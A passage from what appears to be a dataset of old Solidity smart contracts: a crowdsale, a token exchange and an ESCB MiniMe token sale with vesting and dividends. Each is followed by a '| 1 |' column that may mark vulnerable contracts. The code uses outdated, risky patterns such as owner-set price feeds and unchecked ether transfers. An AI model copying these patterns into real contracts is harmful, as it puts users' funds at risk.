uint public collectedFunds;
bool pause;
function Crowdsale() {
multisig = 0x1e129862b37Fe605Ef2099022F497caab7Db194c;
restricted = 0x1e129862b37Fe605Ef2099022F497caab7Db194c;
manager = msg.sender;
restrictedPercent = 1200;
ETHUSD = 70000;
start = now;
preIcoEnd = 1546300800;
preICOhardcap = 42000;
hardcapUSD = 500000000;
collectedFunds = 0;
pause = false;
}
modifier saleIsOn() {
require(now > start && now < preIcoEnd);
require(pause!=true);
_;
}
modifier isUnderHardCap() {
require(token.totalSupply() < preICOhardcap);
require(collectedFunds < hardcapUSD);
_;
}
function finishMinting() public {
require(msg.sender == manager);
uint issuedTokenSupply = token.totalSupply();
uint restrictedTokens = issuedTokenSupply.mul(restrictedPercent).div(10000);
token.mint(restricted, restrictedTokens);
token.transferOwnership(restricted);
}
function createTokens() isUnderHardCap saleIsOn payable {
require(msg.value > 0);
uint256 totalSupply = token.totalSupply();
uint256 numTokens = 0;
uint256 summ1 = 1800000;
uint256 summ2 = 3300000;
uint256 price1 = 18000;
uint256 price2 = 15000;
uint256 price3 = 12000;
uint256 usdValue = msg.value.mul(ETHUSD).div(1000000000000000000);
uint256 spendMoney = 0;
uint256 tokenRest = 0;
uint256 rest = 0;
require(totalSupply < preICOhardcap);
tokenRest = preICOhardcap.sub(totalSupply);
require(tokenRest > 0);
if(usdValue>summ2 && tokenRest > 200 ){
numTokens = (usdValue.sub(summ2)).div(price3).add(200);
if(numTokens > tokenRest)
numTokens = tokenRest;
spendMoney = summ2.add((numTokens.sub(200)).mul(price3));
}else if(usdValue>summ1 && tokenRest > 100 ) {
numTokens = (usdValue.sub(summ1)).div(price2).add(100);
if(numTokens > tokenRest)
numTokens = tokenRest;
spendMoney = summ1.add((numTokens.sub(100)).mul(price2));
}else {
numTokens = usdValue.div(price1);
if(numTokens > tokenRest)
numTokens = tokenRest;
spendMoney = numTokens.mul(price1);
}
rest = (usdValue.sub(spendMoney)).mul(1000000000000000000).div(ETHUSD);
msg.sender.transfer(rest);
if(rest<msg.value){
multisig.transfer(msg.value.sub(rest));
collectedFunds = collectedFunds + msg.value.sub(rest).mul(ETHUSD).div(1000000000000000000);
}
token.mint(msg.sender, numTokens);
}
function() external payable {
createTokens();
}
function mint(address _to, uint _value) {
require(msg.sender == manager);
token.mint(_to, _value);
}
function setETHUSD( uint256 _newPrice ) {
require(msg.sender == manager);
ETHUSD = _newPrice;
}
function setPause( bool _newPause ) {
require(msg.sender == manager);
pause = _newPause;
}
} | 1 | 2,897 |
pragma solidity ^0.4.24;
contract ERC20Basic {
uint256 public totalSupply;
uint8 public decimals;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
function transferFrom(address _from, address _to, uint _value) returns (bool success);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Exchange is Ownable {
mapping (address => bool) public supportedTokens;
event ExchangeEvent(address tokenToSell, address tokenToBuy, uint256 value);
function setSupportedTokens(address tokenAddress, bool op) onlyOwner public {
supportedTokens[tokenAddress] = op;
}
function exchangeERC20(address _tokenToSell, address _tokenToBuy, uint256 _value) {
require(supportedTokens[_tokenToSell]);
require(supportedTokens[_tokenToBuy]);
require(_tokenToSell != _tokenToBuy);
ERC20Basic tokenToSell = ERC20Basic(_tokenToSell);
ERC20Basic tokenToBuy = ERC20Basic(_tokenToBuy);
require(_value > 0 && tokenToBuy.balanceOf(address(this)) >= _value);
if (!tokenToSell.transferFrom(msg.sender, address(this), _value)) throw;
tokenToBuy.transfer(msg.sender, _value);
ExchangeEvent(_tokenToSell,_tokenToBuy,_value);
}
} | 1 | 4,185 |
pragma solidity ^0.4.19;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
library Math {
function max64(uint64 a, uint64 b) internal pure returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal pure returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 _amount, address _token, bytes _data);
}
contract Controlled {
address public controller;
function Controlled() {
controller = msg.sender;
}
modifier onlyController {
require(msg.sender == controller);
_;
}
function changeController(address _newController) onlyController {
controller = _newController;
}
}
contract TokenController {
function proxyPayment(address _owner) payable returns(bool);
function onTransfer(address _from, address _to, uint _amount) returns(bool);
function onApprove(address _owner, address _spender, uint _amount) returns(bool);
}
contract MiniMeToken is Controlled {
string public name;
uint8 public decimals;
string public symbol;
string public version = "MMT_0.1";
struct Checkpoint {
uint128 fromBlock;
uint128 value;
}
MiniMeToken public parentToken;
uint public parentSnapShotBlock;
uint public creationBlock;
mapping (address => Checkpoint[]) balances;
mapping (address => mapping (address => uint256)) allowed;
Checkpoint[] totalSupplyHistory;
bool public transfersEnabled;
MiniMeTokenFactory public tokenFactory;
function MiniMeToken(
address _tokenFactory,
address _parentToken,
uint _parentSnapShotBlock,
string _tokenName,
uint8 _decimalUnits,
string _tokenSymbol,
bool _transfersEnabled
) {
tokenFactory = MiniMeTokenFactory(_tokenFactory);
name = _tokenName;
decimals = _decimalUnits;
symbol = _tokenSymbol;
parentToken = MiniMeToken(_parentToken);
parentSnapShotBlock = _parentSnapShotBlock;
transfersEnabled = _transfersEnabled;
creationBlock = block.number;
}
function transfer(address _to, uint256 _amount) returns (bool success) {
require(transfersEnabled);
doTransfer(msg.sender, _to, _amount);
return true;
}
function transferFrom(address _from, address _to, uint256 _amount
) returns (bool success) {
if (msg.sender != controller) {
require(transfersEnabled);
require(allowed[_from][msg.sender] >= _amount);
allowed[_from][msg.sender] -= _amount;
}
doTransfer(_from, _to, _amount);
return true;
}
function doTransfer(address _from, address _to, uint _amount
) internal {
if (_amount == 0) {
Transfer(_from, _to, _amount);
return;
}
require(parentSnapShotBlock < block.number);
require((_to != 0) && (_to != address(this)));
uint256 previousBalanceFrom = balanceOfAt(_from, block.number);
require(previousBalanceFrom >= _amount);
if (isContract(controller)) {
require(TokenController(controller).onTransfer(_from, _to, _amount));
}
updateValueAtNow(balances[_from], previousBalanceFrom - _amount);
uint256 previousBalanceTo = balanceOfAt(_to, block.number);
require(previousBalanceTo + _amount >= previousBalanceTo);
updateValueAtNow(balances[_to], previousBalanceTo + _amount);
Transfer(_from, _to, _amount);
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balanceOfAt(_owner, block.number);
}
function approve(address _spender, uint256 _amount) returns (bool success) {
require(transfersEnabled);
require((_amount == 0) || (allowed[msg.sender][_spender] == 0));
if (isContract(controller)) {
require(TokenController(controller).onApprove(msg.sender, _spender, _amount));
}
allowed[msg.sender][_spender] = _amount;
Approval(msg.sender, _spender, _amount);
return true;
}
function allowance(address _owner, address _spender
) public view returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function approveAndCall(address _spender, uint256 _amount, bytes _extraData
) public returns (bool success) {
require(approve(_spender, _amount));
ApproveAndCallFallBack(_spender).receiveApproval(
msg.sender,
_amount,
this,
_extraData
);
return true;
}
function totalSupply() constant returns (uint) {
return totalSupplyAt(block.number);
}
function balanceOfAt(address _owner, uint _blockNumber) public view
returns (uint) {
if ((balances[_owner].length == 0)
|| (balances[_owner][0].fromBlock > _blockNumber)) {
if (address(parentToken) != 0) {
return parentToken.balanceOfAt(_owner, min(_blockNumber, parentSnapShotBlock));
} else {
return 0;
}
} else {
return getValueAt(balances[_owner], _blockNumber);
}
}
function totalSupplyAt(uint _blockNumber) public view returns(uint) {
if ((totalSupplyHistory.length == 0)
|| (totalSupplyHistory[0].fromBlock > _blockNumber)) {
if (address(parentToken) != 0) {
return parentToken.totalSupplyAt(min(_blockNumber, parentSnapShotBlock));
} else {
return 0;
}
} else {
return getValueAt(totalSupplyHistory, _blockNumber);
}
}
function createCloneToken(
string _cloneTokenName,
uint8 _cloneDecimalUnits,
string _cloneTokenSymbol,
uint _snapshotBlock,
bool _transfersEnabled
) returns(address) {
if (_snapshotBlock == 0) _snapshotBlock = block.number;
MiniMeToken cloneToken = tokenFactory.createCloneToken(
this,
_snapshotBlock,
_cloneTokenName,
_cloneDecimalUnits,
_cloneTokenSymbol,
_transfersEnabled
);
cloneToken.changeController(msg.sender);
NewCloneToken(address(cloneToken), _snapshotBlock);
return address(cloneToken);
}
function generateTokens(address _owner, uint _amount
) onlyController returns (bool) {
uint curTotalSupply = totalSupply();
require(curTotalSupply + _amount >= curTotalSupply);
uint previousBalanceTo = balanceOf(_owner);
require(previousBalanceTo + _amount >= previousBalanceTo);
updateValueAtNow(totalSupplyHistory, curTotalSupply + _amount);
updateValueAtNow(balances[_owner], previousBalanceTo + _amount);
Transfer(0, _owner, _amount);
return true;
}
function destroyTokens(address _owner, uint256 _amount
) onlyController returns (bool) {
uint256 curTotalSupply = totalSupply();
require(curTotalSupply >= _amount);
uint256 previousBalanceFrom = balanceOf(_owner);
require(previousBalanceFrom >= _amount);
updateValueAtNow(totalSupplyHistory, curTotalSupply - _amount);
updateValueAtNow(balances[_owner], previousBalanceFrom - _amount);
Transfer(_owner, 0, _amount);
return true;
}
function enableTransfers(bool _transfersEnabled) onlyController {
transfersEnabled = _transfersEnabled;
}
function getValueAt(Checkpoint[] storage checkpoints, uint _block
) internal view returns (uint) {
if (checkpoints.length == 0) return 0;
if (_block >= checkpoints[checkpoints.length-1].fromBlock)
return checkpoints[checkpoints.length-1].value;
if (_block < checkpoints[0].fromBlock) return 0;
uint min = 0;
uint max = checkpoints.length-1;
while (max > min) {
uint mid = (max + min + 1)/ 2;
if (checkpoints[mid].fromBlock<=_block) {
min = mid;
} else {
max = mid-1;
}
}
return checkpoints[min].value;
}
function updateValueAtNow(Checkpoint[] storage checkpoints, uint _value
) internal {
if ((checkpoints.length == 0)
|| (checkpoints[checkpoints.length -1].fromBlock < block.number)) {
Checkpoint storage newCheckPoint = checkpoints[ checkpoints.length++ ];
newCheckPoint.fromBlock = uint128(block.number);
newCheckPoint.value = uint128(_value);
} else {
Checkpoint storage oldCheckPoint = checkpoints[checkpoints.length-1];
oldCheckPoint.value = uint128(_value);
}
}
function isContract(address _addr) internal view returns(bool) {
uint size;
if (_addr == 0) return false;
assembly {
size := extcodesize(_addr)
}
return size > 0;
}
function min(uint a, uint b) internal pure returns (uint) {
return a < b ? a : b;
}
function () payable {
require(isContract(controller));
require(TokenController(controller).proxyPayment.value(msg.value)(msg.sender));
}
function claimTokens(address _token) onlyController {
if (_token == 0x0) {
controller.transfer(this.balance);
return;
}
MiniMeToken token = MiniMeToken(_token);
uint balance = token.balanceOf(this);
token.transfer(controller, balance);
ClaimedTokens(_token, controller, balance);
}
event ClaimedTokens(address indexed _token, address indexed _controller, uint _amount);
event Transfer(address indexed _from, address indexed _to, uint256 _amount);
event NewCloneToken(address indexed _cloneToken, uint _snapshotBlock);
event Approval(
address indexed _owner,
address indexed _spender,
uint256 _amount
);
}
contract MiniMeTokenFactory {
function createCloneToken(
address _parentToken,
uint _snapshotBlock,
string _tokenName,
uint8 _decimalUnits,
string _tokenSymbol,
bool _transfersEnabled
) returns (MiniMeToken) {
MiniMeToken newToken = new MiniMeToken(
this,
_parentToken,
_snapshotBlock,
_tokenName,
_decimalUnits,
_tokenSymbol,
_transfersEnabled
);
newToken.changeController(msg.sender);
return newToken;
}
}
contract MiniMeIrrevocableVestedToken is MiniMeToken {
using SafeMath for uint256;
uint256 MAX_GRANTS_PER_ADDRESS = 20;
struct TokenGrant {
address granter;
uint256 value;
uint64 cliff;
uint64 vesting;
uint64 start;
bool revokable;
bool burnsOnRevoke;
}
mapping (address => TokenGrant[]) public grants;
event NewTokenGrant(address indexed from, address indexed to, uint256 value, uint64 start, uint64 cliff, uint64 vesting, uint256 grantId);
mapping (address => bool) canCreateGrants;
address vestingWhitelister;
modifier canTransfer(address _sender, uint _value) {
require(_value <= spendableBalanceOf(_sender));
_;
}
modifier onlyVestingWhitelister {
require(msg.sender == vestingWhitelister);
_;
}
function MiniMeIrrevocableVestedToken (
address _tokenFactory,
address _parentToken,
uint _parentSnapShotBlock,
string _tokenName,
uint8 _decimalUnits,
string _tokenSymbol,
bool _transfersEnabled
) public MiniMeToken(_tokenFactory, _parentToken, _parentSnapShotBlock, _tokenName, _decimalUnits, _tokenSymbol, _transfersEnabled) {
vestingWhitelister = msg.sender;
doSetCanCreateGrants(vestingWhitelister, true);
}
function transfer(address _to, uint _value)
canTransfer(msg.sender, _value)
public
returns (bool success) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint _value)
canTransfer(_from, _value)
public
returns (bool success) {
return super.transferFrom(_from, _to, _value);
}
function spendableBalanceOf(address _holder) constant public returns (uint) {
return transferableTokens(_holder, uint64(now));
}
function grantVestedTokens(
address _to,
uint256 _value,
uint64 _start,
uint64 _cliff,
uint64 _vesting,
bool _revokable,
bool _burnsOnRevoke
) public {
require(_cliff >= _start && _vesting >= _cliff);
require(canCreateGrants[msg.sender]);
require(tokenGrantsCount(_to) < MAX_GRANTS_PER_ADDRESS);
uint256 count = grants[_to].push(
TokenGrant(
_revokable ? msg.sender : 0,
_value,
_cliff,
_vesting,
_start,
_revokable,
_burnsOnRevoke
)
);
transfer(_to, _value);
NewTokenGrant(msg.sender, _to, _value, _cliff, _vesting, _start, count - 1);
}
function setCanCreateGrants(address _addr, bool _allowed) onlyVestingWhitelister public {
doSetCanCreateGrants(_addr, _allowed);
}
function doSetCanCreateGrants(address _addr, bool _allowed) internal {
canCreateGrants[_addr] = _allowed;
}
function changeVestingWhitelister(address _newWhitelister) onlyVestingWhitelister public {
doSetCanCreateGrants(vestingWhitelister, false);
vestingWhitelister = _newWhitelister;
doSetCanCreateGrants(vestingWhitelister, true);
}
function revokeTokenGrant(address _holder, uint256 _grantId) public {
TokenGrant storage grant = grants[_holder][_grantId];
require(grant.revokable);
require(grant.granter == msg.sender);
address receiver = grant.burnsOnRevoke ? 0xdead : msg.sender;
uint256 nonVested = nonVestedTokens(grant, uint64(now));
delete grants[_holder][_grantId];
grants[_holder][_grantId] = grants[_holder][grants[_holder].length.sub(1)];
grants[_holder].length -= 1;
var previousBalanceReceiver = balanceOfAt(receiver, block.number);
updateValueAtNow(balances[receiver], previousBalanceReceiver + nonVested);
var previousBalance_holder = balanceOfAt(_holder, block.number);
updateValueAtNow(balances[_holder], previousBalance_holder - nonVested);
Transfer(_holder, receiver, nonVested);
}
function transferableTokens(address holder, uint64 time) public view returns (uint256) {
uint256 grantIndex = tokenGrantsCount(holder);
if (grantIndex == 0) return balanceOf(holder);
uint256 nonVested = 0;
for (uint256 i = 0; i < grantIndex; i++) {
nonVested = SafeMath.add(nonVested, nonVestedTokens(grants[holder][i], time));
}
uint256 vestedTransferable = SafeMath.sub(balanceOf(holder), nonVested);
return Math.min256(vestedTransferable, balanceOf(holder));
}
function tokenGrantsCount(address _holder) public view returns (uint256 index) {
return grants[_holder].length;
}
function calculateVestedTokens(
uint256 tokens,
uint256 time,
uint256 start,
uint256 cliff,
uint256 vesting) internal view returns (uint256)
{
if (time < cliff) return 0;
if (time >= vesting) return tokens;
uint256 vestedTokens = SafeMath.div(
SafeMath.mul(
tokens,
SafeMath.sub(time, start)
),
SafeMath.sub(vesting, start)
);
return vestedTokens;
}
function tokenGrant(address _holder, uint256 _grantId) public view returns (address granter, uint256 value, uint256 vested, uint64 start, uint64 cliff, uint64 vesting, bool revokable, bool burnsOnRevoke) {
TokenGrant storage grant = grants[_holder][_grantId];
granter = grant.granter;
value = grant.value;
start = grant.start;
cliff = grant.cliff;
vesting = grant.vesting;
revokable = grant.revokable;
burnsOnRevoke = grant.burnsOnRevoke;
vested = vestedTokens(grant, uint64(now));
}
function vestedTokens(TokenGrant grant, uint64 time) private constant returns (uint256) {
return calculateVestedTokens(
grant.value,
uint256(time),
uint256(grant.start),
uint256(grant.cliff),
uint256(grant.vesting)
);
}
function nonVestedTokens(TokenGrant grant, uint64 time) private constant returns (uint256) {
return grant.value.sub(vestedTokens(grant, time));
}
function lastTokenIsTransferableDate(address holder) constant public returns (uint64 date) {
date = uint64(now);
uint256 grantIndex = grants[holder].length;
for (uint256 i = 0; i < grantIndex; i++) {
date = Math.max64(grants[holder][i].vesting, date);
}
}
}
contract MiniMeIrrVesDivToken is MiniMeIrrevocableVestedToken {
event DividendDeposited(address indexed _depositor, uint256 _blockNumber, uint256 _timestamp, uint256 _amount, uint256 _totalSupply, uint256 _dividendIndex);
event DividendClaimed(address indexed _claimer, uint256 _dividendIndex, uint256 _claim);
event DividendRecycled(address indexed _recycler, uint256 _blockNumber, uint256 _timestamp, uint256 _amount, uint256 _totalSupply, uint256 _dividendIndex);
uint256 public RECYCLE_TIME = 1 years;
function MiniMeIrrVesDivToken (
address _tokenFactory,
address _parentToken,
uint _parentSnapShotBlock,
string _tokenName,
uint8 _decimalUnits,
string _tokenSymbol,
bool _transfersEnabled
) public MiniMeIrrevocableVestedToken(_tokenFactory, _parentToken, _parentSnapShotBlock, _tokenName, _decimalUnits, _tokenSymbol, _transfersEnabled) {}
struct Dividend {
uint256 blockNumber;
uint256 timestamp;
uint256 amount;
uint256 claimedAmount;
uint256 totalSupply;
bool recycled;
mapping (address => bool) claimed;
}
Dividend[] public dividends;
mapping (address => uint256) dividendsClaimed;
modifier validDividendIndex(uint256 _dividendIndex) {
require(_dividendIndex < dividends.length);
_;
}
function depositDividend() public payable
onlyController
{
uint256 currentSupply = super.totalSupplyAt(block.number);
uint256 dividendIndex = dividends.length;
uint256 blockNumber = SafeMath.sub(block.number, 1);
dividends.push(
Dividend(
blockNumber,
getNow(),
msg.value,
0,
currentSupply,
false
)
);
DividendDeposited(msg.sender, blockNumber, getNow(), msg.value, currentSupply, dividendIndex);
}
function claimDividend(uint256 _dividendIndex) public
validDividendIndex(_dividendIndex)
{
Dividend storage dividend = dividends[_dividendIndex];
require(dividend.claimed[msg.sender] == false);
require(dividend.recycled == false);
uint256 balance = super.balanceOfAt(msg.sender, dividend.blockNumber);
uint256 claim = balance.mul(dividend.amount).div(dividend.totalSupply);
dividend.claimed[msg.sender] = true;
dividend.claimedAmount = SafeMath.add(dividend.claimedAmount, claim);
if (claim > 0) {
msg.sender.transfer(claim);
DividendClaimed(msg.sender, _dividendIndex, claim);
}
}
function claimDividendAll() public {
require(dividendsClaimed[msg.sender] < dividends.length);
for (uint i = dividendsClaimed[msg.sender]; i < dividends.length; i++) {
if ((dividends[i].claimed[msg.sender] == false) && (dividends[i].recycled == false)) {
dividendsClaimed[msg.sender] = SafeMath.add(i, 1);
claimDividend(i);
}
}
}
function recycleDividend(uint256 _dividendIndex) public
onlyController
validDividendIndex(_dividendIndex)
{
Dividend storage dividend = dividends[_dividendIndex];
require(dividend.recycled == false);
require(dividend.timestamp < SafeMath.sub(getNow(), RECYCLE_TIME));
dividends[_dividendIndex].recycled = true;
uint256 currentSupply = super.totalSupplyAt(block.number);
uint256 remainingAmount = SafeMath.sub(dividend.amount, dividend.claimedAmount);
uint256 dividendIndex = dividends.length;
uint256 blockNumber = SafeMath.sub(block.number, 1);
dividends.push(
Dividend(
blockNumber,
getNow(),
remainingAmount,
0,
currentSupply,
false
)
);
DividendRecycled(msg.sender, blockNumber, getNow(), remainingAmount, currentSupply, dividendIndex);
}
function getNow() internal constant returns (uint256) {
return now;
}
}
contract ESCBCoin is MiniMeIrrVesDivToken {
function ESCBCoin (
address _tokenFactory
) public MiniMeIrrVesDivToken(
_tokenFactory,
0x0,
0,
"ESCB token",
18,
"ESCB",
true
) {}
}
contract ESCBCoinPlaceholder is TokenController {
address public tokenSale;
ESCBCoin public token;
function ESCBCoinPlaceholder(address _sale, address _ESCBCoin) public {
tokenSale = _sale;
token = ESCBCoin(_ESCBCoin);
}
function changeController(address network) public {
assert(msg.sender == tokenSale);
token.changeController(network);
selfdestruct(network);
}
function proxyPayment(address _owner) public payable returns (bool) {
revert();
return false;
}
function onTransfer(address _from, address _to, uint _amount) public returns (bool) {
return true;
}
function onApprove(address _owner, address _spender, uint _amount) public returns (bool) {
return true;
}
}
contract AbstractSale {
function saleFinalized() public returns (bool);
function minGoalReached() public returns (bool);
}
contract SaleWallet {
using SafeMath for uint256;
enum State { Active, Refunding }
State public currentState;
mapping (address => uint256) public deposited;
event Withdrawal();
event RefundsEnabled();
event Refunded(address indexed beneficiary, uint256 weiAmount);
event Deposit(address beneficiary, uint256 weiAmount);
address public multisig;
AbstractSale public tokenSale;
function SaleWallet(address _multisig, address _tokenSale) {
currentState = State.Active;
multisig = _multisig;
tokenSale = AbstractSale(_tokenSale);
}
function deposit(address investor, uint256 amount) public {
require(currentState == State.Active);
require(msg.sender == address(tokenSale));
deposited[investor] = deposited[investor].add(amount);
Deposit(investor, amount);
}
function withdraw() public {
require(currentState == State.Active);
assert(msg.sender == multisig);
if (tokenSale.minGoalReached()) {
return doWithdraw();
}
}
function doWithdraw() internal {
assert(multisig.send(this.balance));
Withdrawal();
}
function enableRefunds() public {
require(currentState == State.Active);
assert(msg.sender == multisig);
require(!tokenSale.minGoalReached());
require(tokenSale.saleFinalized());
currentState = State.Refunding;
RefundsEnabled();
}
function refund(address investor) public {
require(currentState == State.Refunding);
require(msg.sender == address(tokenSale));
require(deposited[investor] != 0);
uint256 depositedValue = deposited[investor];
deposited[investor] = 0;
assert(investor.send(depositedValue));
Refunded(investor, depositedValue);
}
function () public payable {}
}
contract ESCBTokenSale is TokenController {
uint256 public initialTime;
uint256 public controlTime;
uint256 public price;
address public ESCBDevMultisig;
uint256 public affiliateBonusPercent = 2;
uint256 public totalCollected = 0;
bool public saleStopped = false;
bool public saleFinalized = false;
mapping (address => bool) public activated;
ESCBCoin public token;
ESCBCoinPlaceholder public networkPlaceholder;
SaleWallet public saleWallet;
uint256 constant public dust = 1 finney;
uint256 public minGoal;
uint256 public goal;
uint256 public currentStage = 1;
uint256 public allocatedStage = 1;
uint256 public usedTotalSupply = 0;
event ActivatedSale();
event FinalizedSale();
event NewBuyer(address indexed holder, uint256 ESCBCoinAmount, uint256 etherAmount);
event NewExternalFoundation(address indexed holder, uint256 ESCBCoinAmount, uint256 etherAmount, bytes32 externalId);
event AllocationForESCBFund(address indexed holder, uint256 ESCBCoinAmount);
event NewStage(uint64 numberStage);
function ESCBTokenSale (uint _initialTime, uint _controlTime, address _ESCBDevMultisig, uint256 _price)
non_zero_address(_ESCBDevMultisig) {
assert (_initialTime >= getNow());
assert (_initialTime < _controlTime);
initialTime = _initialTime;
controlTime = _controlTime;
ESCBDevMultisig = _ESCBDevMultisig;
price = _price;
}
modifier only(address x) {
require(msg.sender == x);
_;
}
modifier only_before_sale {
require(getNow() < initialTime);
_;
}
modifier only_during_sale_period {
require(getNow() >= initialTime);
require(getNow() < controlTime || minGoalReached());
_;
}
modifier only_after_sale {
require(getNow() >= controlTime || goalReached());
_;
}
modifier only_sale_stopped {
require(saleStopped);
_;
}
modifier only_sale_not_stopped {
require(!saleStopped);
_;
}
modifier only_before_sale_activation {
require(!isActivated());
_;
}
modifier only_sale_activated {
require(isActivated());
_;
}
modifier only_finalized_sale {
require(getNow() >= controlTime || goalReached());
require(saleFinalized);
_;
}
modifier non_zero_address(address x) {
require(x != 0);
_;
}
modifier minimum_value(uint256 x) {
require(msg.value >= x);
_;
}
function setESCBCoin(address _token, address _networkPlaceholder, address _saleWallet, uint256 _minGoal, uint256 _goal)
payable
non_zero_address(_token)
only(ESCBDevMultisig)
public {
require(_networkPlaceholder != 0);
require(_saleWallet != 0);
assert(!activated[this]);
token = ESCBCoin(_token);
networkPlaceholder = ESCBCoinPlaceholder(_networkPlaceholder);
saleWallet = SaleWallet(_saleWallet);
assert(token.controller() == address(this));
assert(token.totalSupply() == 0);
assert(networkPlaceholder.tokenSale() == address(this));
assert(networkPlaceholder.token() == address(token));
assert(saleWallet.multisig() == ESCBDevMultisig);
assert(saleWallet.tokenSale() == address(this));
assert(_minGoal > 0);
assert(_goal > 0);
assert(_minGoal < _goal);
minGoal = _minGoal;
goal = _goal;
doActivateSale(this);
}
function activateSale()
public {
doActivateSale(msg.sender);
ActivatedSale();
}
function doActivateSale(address _entity)
non_zero_address(token)
only_before_sale
private {
activated[_entity] = true;
}
function isActivated()
constant
public
returns (bool) {
return activated[this] && activated[ESCBDevMultisig];
}
function getPrice(uint256 _amount)
only_during_sale_period
only_sale_not_stopped
only_sale_activated
constant
public
returns (uint256) {
return priceForStage(SafeMath.mul(_amount, price));
}
function priceForStage(uint256 _amount)
internal
returns (uint256) {
if (totalCollected >= 0 && totalCollected <= 80 ether) {
return SafeMath.add(_amount, SafeMath.div(SafeMath.mul(_amount, 20), 100));
}
if (totalCollected > 80 ether && totalCollected <= 200 ether) {
return SafeMath.add(_amount, SafeMath.div(SafeMath.mul(_amount, 18), 100));
}
if (totalCollected > 200 ether && totalCollected <= 400 ether) {
return SafeMath.add(_amount, SafeMath.div(SafeMath.mul(_amount, 16), 100));
}
if (totalCollected > 400 ether && totalCollected <= 1000 ether) {
return SafeMath.add(_amount, SafeMath.div(SafeMath.mul(_amount, 14), 100));
}
if (totalCollected > 1000 ether && totalCollected <= 2000 ether) {
return SafeMath.add(_amount, SafeMath.div(SafeMath.mul(_amount, 12), 100));
}
if (totalCollected > 2000 ether && totalCollected <= 4000 ether) {
return SafeMath.add(_amount, SafeMath.div(SafeMath.mul(_amount, 10), 100));
}
if (totalCollected > 4000 ether && totalCollected <= 8000 ether) {
return SafeMath.add(_amount, SafeMath.div(SafeMath.mul(_amount, 8), 100));
}
if (totalCollected > 8000 ether && totalCollected <= 12000 ether) {
return SafeMath.add(_amount, SafeMath.div(SafeMath.mul(_amount, 6), 100));
}
if (totalCollected > 12000 ether && totalCollected <= 16000 ether) {
return SafeMath.add(_amount, SafeMath.div(SafeMath.mul(_amount, 4), 100));
}
if (totalCollected > 16000 ether && totalCollected <= 20000 ether) {
return SafeMath.add(_amount, SafeMath.div(SafeMath.mul(_amount, 2), 100));
}
if (totalCollected > 20000 ether) {
return _amount;
}
}
function allocationForESCBbyStage()
only(ESCBDevMultisig)
public {
if (totalCollected >= 0 && totalCollected <= 80 ether) {
currentStage = 1;
}
if (totalCollected > 80 ether && totalCollected <= 200 ether) {
currentStage = 2;
}
if (totalCollected > 200 ether && totalCollected <= 400 ether) {
currentStage = 3;
}
if (totalCollected > 400 ether && totalCollected <= 1000 ether) {
currentStage = 4;
}
if (totalCollected > 1000 ether && totalCollected <= 2000 ether) {
currentStage = 5;
}
if (totalCollected > 2000 ether && totalCollected <= 4000 ether) {
currentStage = 6;
}
if (totalCollected > 4000 ether && totalCollected <= 8000 ether) {
currentStage = 7;
}
if (totalCollected > 8000 ether && totalCollected <= 12000 ether) {
currentStage = 8;
}
if (totalCollected > 12000 ether && totalCollected <= 16000 ether) {
currentStage = 9;
}
if (totalCollected > 16000 ether && totalCollected <= 20000 ether) {
currentStage = 10;
}
if(currentStage > allocatedStage) {
uint256 ESCBTokens = SafeMath.div(SafeMath.mul(SafeMath.sub(uint256(token.totalSupply()), usedTotalSupply), 15), 33);
uint256 prevTotalSupply = uint256(token.totalSupply());
if(token.generateTokens(address(this), ESCBTokens)) {
allocatedStage = currentStage;
usedTotalSupply = prevTotalSupply;
uint64 cliffDate = uint64(SafeMath.add(uint256(now), 365 days));
uint64 vestingDate = uint64(SafeMath.add(uint256(now), 547 days));
token.grantVestedTokens(ESCBDevMultisig, ESCBTokens, uint64(now), cliffDate, vestingDate, true, false);
AllocationForESCBFund(ESCBDevMultisig, ESCBTokens);
} else {
revert();
}
}
}
function onTransfer(address _from, address _to, uint _amount)
public
returns (bool) {
return true;
}
function onApprove(address _owner, address _spender, uint _amount)
public
returns (bool) {
return true;
}
function ()
public
payable {
doPayment(msg.sender);
}
function paymentAffiliate(address _referral)
non_zero_address(_referral)
payable
public {
uint256 boughtTokens = doPayment(msg.sender);
uint256 affiliateBonus = SafeMath.div(
SafeMath.mul(boughtTokens, affiliateBonusPercent), 100
);
assert(token.generateTokens(_referral, affiliateBonus));
assert(token.generateTokens(msg.sender, affiliateBonus));
}
function proxyPayment(address _owner)
payable
public
returns (bool) {
doPayment(_owner);
return true;
}
function doPayment(address _owner)
only_during_sale_period
only_sale_not_stopped
only_sale_activated
non_zero_address(_owner)
minimum_value(dust)
internal
returns (uint256) {
assert(totalCollected + msg.value <= goal);
uint256 boughtTokens = priceForStage(SafeMath.mul(msg.value, price));
saleWallet.transfer(msg.value);
saleWallet.deposit(_owner, msg.value);
assert(token.generateTokens(_owner, boughtTokens));
totalCollected = SafeMath.add(totalCollected, msg.value);
NewBuyer(_owner, boughtTokens, msg.value);
return boughtTokens;
}
function issueWithExternalFoundation(address _owner, uint256 _amount, bytes32 _extId)
only_during_sale_period
only_sale_not_stopped
only_sale_activated
non_zero_address(_owner)
only(ESCBDevMultisig)
public
returns (uint256) {
assert(totalCollected + _amount <= goal);
uint256 boughtTokens = priceForStage(SafeMath.mul(_amount, price));
assert(token.generateTokens(_owner, boughtTokens));
